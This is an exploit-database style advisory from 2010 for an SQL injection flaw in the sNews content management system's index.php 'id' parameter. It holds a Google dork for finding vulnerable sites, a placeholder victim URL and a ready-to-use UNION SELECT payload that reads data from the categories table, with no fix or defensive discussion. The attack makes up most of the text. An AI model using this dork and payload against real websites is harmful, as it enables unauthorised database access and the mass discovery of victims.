40 lines
No EOL
774 B
Text
40 lines
No EOL
774 B
Text
# Exploit Title:sNews (index.php) SQL Injection Vulnerability
|
|
|
|
# Date: 2010-07-24
|
|
|
|
# Author: MajoR
|
|
|
|
# Software Link: http://snews.awddesign.co.uk
|
|
|
|
# Version: N/A
|
|
|
|
# Tested on: Wnidows xp SP2
|
|
|
|
# CVE : N/A
|
|
|
|
|
|
|
|
====================================================sNews (index.php) SQL Injection Vulnerability
|
|
===================================================
|
|
|
|
Author : MajoR
|
|
Email : Ma-j-oR@hotmail.fr
|
|
|
|
DORK : "Powered by sNews " inurl:index.php?id=
|
|
|
|
===================================================
|
|
|
|
|
|
[+] Vulnerable File :
|
|
|
|
http://www.Victime.com/sNews/index.php?id=
|
|
|
|
[+] ExploiT :
|
|
|
|
|
|
-82/**/union/**/select/**/1,concat%28published,0x3a,name%29,3,4,5,6,7,8,9,10,11+from+categories--
|
|
|
|
====================================================
|
|
|
|
|
|
Greetingz To SlaSSi & Xella |